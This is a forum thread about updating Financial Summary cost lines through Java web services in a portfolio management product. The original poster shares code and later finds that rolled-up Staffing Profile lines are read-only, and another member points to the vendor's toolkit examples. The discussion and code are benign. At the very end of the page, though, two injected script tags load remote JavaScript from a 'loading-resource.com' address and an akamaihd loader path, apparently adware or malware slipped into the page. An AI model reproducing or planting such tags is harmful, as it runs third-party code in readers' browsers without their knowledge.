The community will be in read-only from Monday 11:59pm (PT) to Wednesday 7:30am (PT)
The community will be in read-only from Monday 11:59pm (PT) to Wednesday 7:30am (PT)
Project and Portfolio Management Practitioners Forum
cancel
Showing results for 
Search instead for 
Did you mean: 

Update existing cost lines using web services

SOLVED
Go to solution
Highlighted
hyllplan
Frequent Visitor

Update existing cost lines using web services

Hi

Im trying to update cost lines in Financial Summary using Java web services, Im not a Java -programmer so please be patient:)

 

Below Java-code snippet successfully set Actuals (300) for each column in the cost-line. I know so because of the checks I do using "System.out.println". However it seems like I am working with a data structure copy, and need to replace the target Financial summary with my new copy.  Basically I cant get actual values to stick (in a SQL-"world"  I would say I miss the "commit"). If someone would share an example how to update cost line -actuals  in FS I would be happy. Correcting my code below (its just a part of the code, the part that is essential for my problem) would also be appreciated!

 

Have a nice weekend!

/"hyllplan"

 

 

 /**

     * Update existing cost lines.

     */

    protected ForecastActualInfo testupdateForecastActual (ForecastActualInfo forecastActual)

    {

                            

        ForecastActualInfo.Lines faLines = forecastActual.getLines();

        if (isEmpty(faLines)) {

            return forecastActual;

        }

        for (int i = 0; i < faLines.getLineArray().length; i++) {

            // Update existing cells.

            ForecastActualInfo.Lines.Line.Cells faCells = faLines.getLineArray(i).getCells();

            if (!isEmpty(faCells)) {

                for (int j = 0; j < faCells.getCellArray().length; j++) {

                    FinancialLineCellInfo faCell = faCells.getCellArray(j);

                    if (faCell != null && faCell.isSetPlanValueLCL())

                             System.out.print( faCell.getPlanValueLCL().toString());

                             System.out.print(" ");

                             System.out.print( faCell.getPeriod().getPeriodStartDate().getDisplayName(Calendar.MONTH, Calendar.SHORT,

                                                                           Locale.getDefault()));

                             System.out.print(" ");

                    // Increment cell value by 10%

                    //if (faCell != null && faCell.getActualValueLCL() != null) {

                      //  faCell.setActualValueLCL(faCell.getActualValueLCL().multiply(new BigDecimal(1.10)));

    

                            faCell.setActualValueLCL(new BigDecimal(300));

                            faCell.setPlanValueLCL(new BigDecimal(300));

                            System.out.println( faCell.getActualValueLCL().toString());          

                }

            }

        }

        return forecastActual;

    }

//

//

//

//

//

// Create or update forecast/actual costs.

        ForecastActualInfo forecastActual = null;

        ForecastActualInfo.Lines faLines = fs.getForecastActual().getLines();

        if (isEmpty(faLines)) {

            forecastActual = createForecastActual(fs.getForecastActual());

        }

        else {

            forecastActual = testupdateForecastActual(fs.getForecastActual());

        }

        fs.setForecastActual(forecastActual);

       

        UpdateFinancialSummaryDocument requestDoc = UpdateFinancialSummaryDocument.Factory.newInstance();

        requestDoc.addNewUpdateFinancialSummary().setFinancialSummary(fs);

 

        FinanceServiceStub stub = new FinanceServiceStub(context, serviceURL);

        stub.updateFinancialSummary(requestDoc);

 

   

    }   

2 REPLIES
hyllplan
Frequent Visitor
Solution

Re: Update existing cost lines using web services

The code works, the problem was;

 - you cant update cost-lines that are rolled up from Staffing Profile (theyre read only) no error messages is being generated, it just doesnt update the cost-line....

Manually added cost-lines that are editble are being updated just fine.

 

Question for those that integrate with another time reporting system such as Agresso:

 

Do you have specific cost-lines for actuals in Financial Summary? The reason why I am asking is because, its possbile to add several non-labor and/or labor rows of a specific types, an it should be like that. This makes it complicated . To me it seems more easy to have specific actual rowes such as "actual labor employee -row"   etc.

 

 

Whats your experience in this area?

jsalass
Frequent Visitor

Re: Update existing cost lines using web services

Hi Hyllplan,

 

Did you give a try using the code sample provided by HP?

 

Please use the OOTB web service toolkit and look for the following code:


Java Examples
See webservice_toolkit:
\\java\client\src\examples\fm\FinancialSummaryClient.java

 

Also, please check the web services guides attached for 9.1. There you will fin information about the operations and data types used in the financial summary services (as well as other services info)

 

Check updateFinancialData on page 132 (web services programmers guide)

 

Hope this helps!

 

Regards,

Jonathan

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
//Add this to "OnDomLoad" event